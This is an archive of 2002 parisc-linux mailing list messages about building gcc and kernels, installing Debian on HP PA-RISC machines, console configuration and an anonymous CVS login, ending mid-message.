Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621086 3617 80.91.229.3 (22 Nov 2014 01:51:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 19 15:05:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4AC64484A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 19 Feb 2002 15:05:15 -0700 (MST)
Original-Received: from bolero.cs.tu-berlin.de (daemon@bolero.cs.tu-berlin.de [130.149.19.1])
	by mail.cs.tu-berlin.de (8.9.3/8.9.3) with ESMTP id WAA04758;
	Tue, 19 Feb 2002 22:57:23 +0100 (MET)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.11.6+Sun/8.9.3) id g1JLvN608573;
	Tue, 19 Feb 2002 22:57:23 +0100 (MET)
In-Reply-To: <OFDF1A47D3.4AEE03AD-ONC1256B65.005CFBD9@com>
X-Mailer: VM 6.89 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14110

Jo=EBl Soete writes:
>=20
> David,
>=20
> It seems Ok: just finished the first step of compiling gcc (snapshot =
 dated
> 020218 from sources.redhat.com because I do not find where Matthias
> uploaded its snapshot :( ) with echo $? -> after make :-).

It's now in the unstable/sid distribution.




From - Thu Nov 08 21:21:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yasholomew Yashinski <yashy@mail.yashy.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] B1000
Date: Tue, 19 Feb 2002 23:48:21 -0500 (EST)
Lines: 49
Approved: news@gmane.org
Message-ID: <20020219224701.G93016-100000@mail.yashy.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621086 3622 80.91.229.3 (22 Nov 2014 01:51:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:26 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 19 21:47:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.yashy.com (cpu2119.adsl.bellglobal.com [207.236.3.96])
	by dsl2.external.hp.com (Postfix) with ESMTP id 12BCE4843
	for <parisc-linux@lists.parisc-linux.org>; Tue, 19 Feb 2002 21:47:45 -0700 (MST)
Original-Received: from yashy (helo=localhost)
	by mail.yashy.com with local-esmtp (Exim 3.33 #1)
	id 16dOg1-000OM2-00
	for parisc-linux@lists.parisc-linux.org; Tue, 19 Feb 2002 23:48:21 -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14111

http://linuxdoc.org/HOWTO/PA-RISC-Linux-Boot-HOWTO/preparation.html

 Not sure if you want to add this to the above URL or not. For the B1k:

 The command to switch to serial is:

>  path console serial_1

 to go back to graphics mode:

> path console graphics(2)

 Perhaps this is because it has the EG_PCI card, and not onboard VGA
like the C class.

 Going through the install now, via serial console. Everything was working
fine until I tried to install a kernel from the cdrom:

You have more than one CD-ROM drive.  Please select the drive from which
you want to install Debian

/dev/name:      : No description defined for this type of CD-ROM.
/dev/           : No description defined for this type of CD-ROM.
etc

 While I only have one cd-rom. Instead I chose to install a kernel via ftp
(the default path on the iso is incorrect, one must add "32" or "64" to
the end, I chose 32. The URL it went to was:
http.us.debian.org/debian/dists/woody/main/disks-hppa/current/32
and file: images-1.44/rescue.bin everything exited cleanly.

 Now it's prompting to "Configure Device Driver
Modules" and am getting the following error:

No modules were found in /target/lib/modules/2.4.9-32 that
could be configured. Please install the kernel modules
first, by running the "Configure Device Driver Modules"
step.

 And it brings me back to the "Configure Device Driver Modules" prompt.

 Kowtow,

--
Yashy





From - Thu Nov 08 21:21:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa-linux gcc-3.0.3:
Date: Wed, 20 Feb 2002 07:36:35 +0100
Lines: 56
Approved: news@gmane.org
Message-ID: <OF48211371.97198B49-ONC1256B66.002445D0@com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621086 3623 80.91.229.3 (22 Nov 2014 01:51:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthias Klose <doko@cs.tu-berlin.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 19 23:30:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3DCD74845
	for <parisc-linux@lists.parisc-linux.org>; Tue, 19 Feb 2002 23:30:39 -0700 (MST)
Original-Received: from mastercard.com (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d592edbb899@epirel991.europay.com>;
 Wed, 20 Feb 2002 07:30:40 +0100
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on MCNBRU01/MASTERCARD(Release 5.0.8 |June 18, 2001) at
 02/20/2002 07:36:36 AM
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14112

Nice (very nice) :-))

Joel



                                                                           =
                                       =20
                    Matthias                                               =
                                       =20
                    Klose                To:     "Jo=EBl Soete" <jso@europa=
y.com>                                   =20
                    <doko@cs.tu-b        cc:     parisc-linux@lists.parisc-=
linux.org                              =20
                    erlin.de>            Subject:     Re: [parisc-linux] Re=
: hppa-linux gcc-3.0.3:                =20
                                                                           =
                                       =20
                    19-02-02                                               =
                                       =20
                    10:57 PM                                               =
                                       =20
                                                                           =
                                       =20
                                                                           =
                                       =20




Jo=EBl Soete writes:
>
> David,
>
> It seems Ok: just finished the first step of compiling gcc (snapshot
dated
> 020218 from sources.redhat.com because I do not find where Matthias
> uploaded its snapshot :( ) with echo $? -> after make :-).

It's now in the unstable/sid distribution.







**********************************************************************
This e-mail and any attachments to it may contain confidential information =
which is strictly intended for the use of the authorised recipient.  If you=
 have received this e-mail in error, please delete it and notify the sender=
 by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************



From - Thu Nov 08 21:21:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gcc-3.1 && k-2.4.17-pa27 50/50(was Re: hppa-linux gcc-3.0.3:)
Date: Wed, 20 Feb 2002 17:53:32 +0100
Lines: 85
Approved: news@gmane.org
Message-ID: <OF57EB6BBE.3537F19D-ONC1256B66.005252D2@com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621086 3629 80.91.229.3 (22 Nov 2014 01:51:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthias Klose <doko@cs.tu-berlin.de>, carlos@baldric.uwo.ca,
	"John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 20 09:47:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0DAA04847
	for <parisc-linux@lists.parisc-linux.org>; Wed, 20 Feb 2002 09:47:49 -0700 (MST)
Original-Received: from mastercard.com (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d5931108614@epirel991.europay.com>;
 Wed, 20 Feb 2002 17:47:35 +0100
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on MCNBRU01/MASTERCARD(Release 5.0.8 |June 18, 2001) at
 02/20/2002 05:53:31 PM
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14113

Hi all,

Test  summary: I follow the recipe to build a kernel with binutils snapshot
20020218; gcc snapshot 20020218; glibc debian sources and last cvs kernel
2.4.17-pa27 and palo .

I do not notice compile error :-)) (Hmm only note in dmesg  some
do_page_fault() pid=3D... command=3D'conftest' ... during glibc rebuild, I =
am
not sure; I do not find any trace in my logs? ).

Also I install this kernel and reboot the server with it.

Well it boot well and seems to run well in mutli-user mode with minimun
daemon running.

Just inetd seems to make the system panic after a simple telnet:
...
Kernel fault: Code=3D15 regs=3D...
...

David is it the problem of bootstrap you spoke about binutils?

Matthias very sorry but I do not yet find your new package(s) (neither on
ftp://ftp.debian.org/debian/pool/main/g/gcc* neither on ftp.de.debian.org).
Must I be more patient? (I do not know anything about debian life cycle pkg
:( )
Hmm I do not find more where you upload your snapshot 20020216?

Thanks a lot to all for all info,
     Joel




                                                                           =
                                       =20
                    Matthias                                               =
                                       =20
                    Klose                To:     "Jo=EBl Soete" <jso@europa=
y.com>                                   =20
                    <doko@cs.tu-b        cc:     parisc-linux@lists.parisc-=
linux.org                              =20
                    erlin.de>            Subject:     Re: [parisc-linux] Re=
: hppa-linux gcc-3.0.3:                =20
                                                                           =
                                       =20
                    19-02-02                                               =
                                       =20
                    10:57 PM                                               =
                                       =20
                                                                           =
                                       =20
                                                                           =
                                       =20




Jo=EBl Soete writes:
>
> David,
>
> It seems Ok: just finished the first step of compiling gcc (snapshot
dated
> 020218 from sources.redhat.com because I do not find where Matthias
> uploaded its snapshot :( ) with echo $? -> after make :-).

It's now in the unstable/sid distribution.







**********************************************************************
This e-mail and any attachments to it may contain confidential information =
which is strictly intended for the use of the authorised recipient.  If you=
 have received this e-mail in error, please delete it and notify the sender=
 by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************



From - Thu Nov 08 21:21:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Holst, Richard G (Dick), PROSH" <dholst@att.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Parisc linux on a D machine
Date: Wed, 20 Feb 2002 11:59:15 -0500
Lines: 46
Approved: news@gmane.org
Message-ID: <28F05913385EAC43AF019413F674A0170148AC2B@OCCLUST04EVS1.ugd.att.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----_=_NextPart_001_01C1BA2F.EDA5BAC2"
X-Trace: ger.gmane.org 1416621087 3632 80.91.229.3 (22 Nov 2014 01:51:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:27 +0000 (UTC)
To: "parisc users" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 20 09:59:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from almso2.proxy.att.com (almso2.att.com [192.128.166.71])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6C0A74851
	for <parisc-linux@lists.parisc-linux.org>; Wed, 20 Feb 2002 09:59:23 -0700 (MST)
Original-Received: from attrh1i.attrh.att.com ([135.71.62.10])
	by almso2.proxy.att.com (AT&T IPNS/MSO-3.0) with ESMTP id g1KGxK915726
	for <parisc-linux@lists.parisc-linux.org>; Wed, 20 Feb 2002 11:59:21 -0500 (EST)
Original-Received: from occlust04evs1.ugd.att.com (135.71.164.12) by attrh1i.attrh.att.com (5.5.029)
        id 3C62A10C000A9775 for parisc-linux@lists.parisc-linux.org; Wed, 20 Feb 2002 11:59:15 -0500
content-class: urn:content-classes:message
X-MS-Has-Attach: yes
X-MS-TNEF-Correlator: 
X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3
Thread-Topic: Parisc linux on a D machine
Thread-Index: AcG6L/645mhUaSYQEdawHwBgsBoYNw==
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14114

This is a multi-part message in MIME format.

------_=_NextPart_001_01C1BA2F.EDA5BAC2
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

When I boot my D server running parisc LInuxLinux .9.3. the graphics =
monitor is the console. I set the hardware path for the console to the =
hardware address of the graphics (vga) card. I get the TUX penguin in =
the upper left of the monitor and all the boot message and all the rc =
startup messages. Just when the system is ready to give me a login =
prompt, the out of the console shift to my serial terminal. I would =
appear that I need a line in my /etc/inittab that will cause the login =
prompt to appear on the graphics monitor. Can someone tell me how to get =
the login prompt to appear on my graphics monitor instead of my serial =
terminal please.


Dick Holst





------_=_NextPart_001_01C1BA2F.EDA5BAC2
Content-Type: text/x-vcard;
	name="Holst, Richard G (Dick), GOVMK.vcf"
Content-Transfer-Encoding: base64
Content-Description: Holst, Richard G (Dick), GOVMK.vcf
Content-Disposition: attachment;
	filename="Holst, Richard G (Dick), GOVMK.vcf"

QkVHSU46VkNBUkQNClZFUlNJT046Mi4xDQpOOkhvbHN0O1JpY2hhcmQNCkZOOkhvbHN0LCBSaWNo
YXJkIEcgKERpY2spLCBHT1ZNSw0KT1JHOkJNIChBVCZUIEJVU0lORVNTIFNFUlZJQ0VTKTtHT1ZN
SyAoQUJTLUdPVkVSTk1FTlQgTUtUUykNClRJVExFOlNFTklPUiBURUNITklDQUwgU1RBRkYgTUVN
QkVSDQpURUw7V09SSztWT0lDRTorMSA3MzIgNDIwLTQ4NDQNClRFTDtDRUxMO1ZPSUNFOiANClRF
TDtQQUdFUjtWT0lDRTogDQpBRFI7V09SSzo7RTUtM0QxODsyMDAgUyBMQVVSRUwgQVZFO01JRERM
RVRPV047Tko7MDc3NDgtMDAwMDtVTklURUQgU1RBVEVTDQpMQUJFTDtXT1JLO0VOQ09ESU5HPVFV
T1RFRC1QUklOVEFCTEU6RTUtM0QxOD0wRD0wQTIwMCBTIExBVVJFTCBBVkU9MEQ9MEFNSURETEVU
T1dOLCBOSiAwNzc0OC0wMDAwPTBEPTBBVU5JVEVEIFNUQT0NClRFUw0KRU1BSUw7UFJFRjtJTlRF
Uk5FVDpkaG9sc3RAYXR0LmNvbQ0KUkVWOjIwMDAxMDIzVDE5NDgzM1oNCkVORDpWQ0FSRA0K

------_=_NextPart_001_01C1BA2F.EDA5BAC2--



From - Thu Nov 08 21:21:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.1 && k-2.4.17-pa27 50/50(was Re: hppa-linux gcc-3.0.3:)
Date: Wed, 20 Feb 2002 12:01:08 -0500 (EST)
Lines: 23
Approved: news@gmane.org
Message-ID: <200202201701.g1KH19AC019253@hiauly1.hia.nrc.ca>
References: <OF57EB6BBE.3537F19D-ONC1256B66.005252D2@com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621087 3634 80.91.229.3 (22 Nov 2014 01:51:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:27 +0000 (UTC)
Cc: doko@cs.tu-berlin.de, carlos@baldric.uwo.ca,
	parisc-linux@lists.parisc-linux.org
To: jso@europay.com (=?iso-8859-1?Q?Jo=EBl_Soete?=)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 20 10:01:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2596B4857
	for <parisc-linux@lists.parisc-linux.org>; Wed, 20 Feb 2002 10:01:15 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g1KH19FN019255;
	Wed, 20 Feb 2002 12:01:10 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g1KH19AC019253;
	Wed, 20 Feb 2002 12:01:09 -0500 (EST)
In-Reply-To: <OF57EB6BBE.3537F19D-ONC1256B66.005252D2@com> from "=?iso-8859-1?Q?Jo=EBl_Soete?=" at Feb 20, 2002 05:53:32 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14115

> I do not notice compile error :-)) (Hmm only note in dmesg  some
> do_page_fault() pid=... command='conftest' ... during glibc rebuild, I am
> not sure; I do not find any trace in my logs? ).

See the same, particularly running the gcc testsuite.  The program
which see to generate the do_page_fault's seems to be expect.  It
gets into a state where /var fills with log messages.

> Just inetd seems to make the system panic after a simple telnet:
> ...
> Kernel fault: Code=15 regs=...
> ...
> 
> David is it the problem of bootstrap you spoke about binutils?

No.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:21:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <palinux@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Parisc linux on a D machine
Date: Wed, 20 Feb 2002 08:16:33 -0900 (AKST)
Lines: 10
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0202200815060.13804-100000@goliath.alaskatech.org>
References: <28F05913385EAC43AF019413F674A0170148AC2B@OCCLUST04EVS1.ugd.att.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621087 3641 80.91.229.3 (22 Nov 2014 01:51:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:27 +0000 (UTC)
Cc: parisc users <parisc-linux@lists.parisc-linux.org>
To: "Holst, Richard G (Dick), PROSH" <dholst@att.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 20 10:23:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from goliath.alaskatech.org (cable-207-5-237-24.anchorageak.net [24.237.5.207])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6A391485C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 20 Feb 2002 10:23:35 -0700 (MST)
Original-Received: from goliath.alaskatech.org (goliath.alaskatech.org [24.237.5.207])
	by goliath.alaskatech.org (8.12.2/8.12.2) with ESMTP id g1KHGXPF013807;
	Wed, 20 Feb 2002 08:16:33 -0900
In-Reply-To: <28F05913385EAC43AF019413F674A0170148AC2B@OCCLUST04EVS1.ugd.att.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14116

On Wed, 20 Feb 2002, Holst, Richard G (Dick), PROSH wrote:

> When I boot my D server running parisc LInuxLinux .9.3. the graphics monitor is the console. I set the hardware path for the console to the hardware address of the graphics (vga) card. I get the TUX penguin in the upper left of the monitor and all the boot message and all the rc startup messages. Just when the system is ready to give me a login prompt, the out of the console shift to my serial terminal. I would appear that I need a line in my /etc/inittab that will cause the login prompt to appear on the graphics monitor. Can someone tell me how to get the login prompt to appear on my graphics monitor instead of my serial terminal please.

I believe this is in the readme file on parisc-linux.org, and has been
since about 0.5 (it bit me also). Check the FAQ - 'boots on STI console
but no login prompt' is in there...




From - Thu Nov 08 21:21:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Fix for anon CVS problem
Date: Wed, 20 Feb 2002 10:37:13 -0700
Lines: 6
Approved: news@gmane.org
Message-ID: <E16dag5-00051i-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621088 3642 80.91.229.3 (22 Nov 2014 01:51:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:28 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 20 10:37:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0DE0F484B
	for <parisc-linux@parisc-linux.org>; Wed, 20 Feb 2002 10:37:18 -0700 (MST)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by atlrel8.hp.com (Postfix) with ESMTP id 8CCB8A00172
	for <parisc-linux@parisc-linux.org>; Wed, 20 Feb 2002 12:37:14 -0500 (EST)
Original-Received: from noam.fc.hp.com (noam.fc.hp.com [15.1.52.69])
	by ldl.fc.hp.com (Postfix) with ESMTP id EB7EB403C
	for <parisc-linux@parisc-linux.org>; Wed, 20 Feb 2002 10:37:13 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.34 #1 (Debian))
	id 16dag5-00051i-00
	for <parisc-linux@parisc-linux.org>; Wed, 20 Feb 2002 10:37:13 -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14117

Use
    $ cvs -d :pserver:anonymous@cvs.parisc-linux.org:/var/cvs login
not
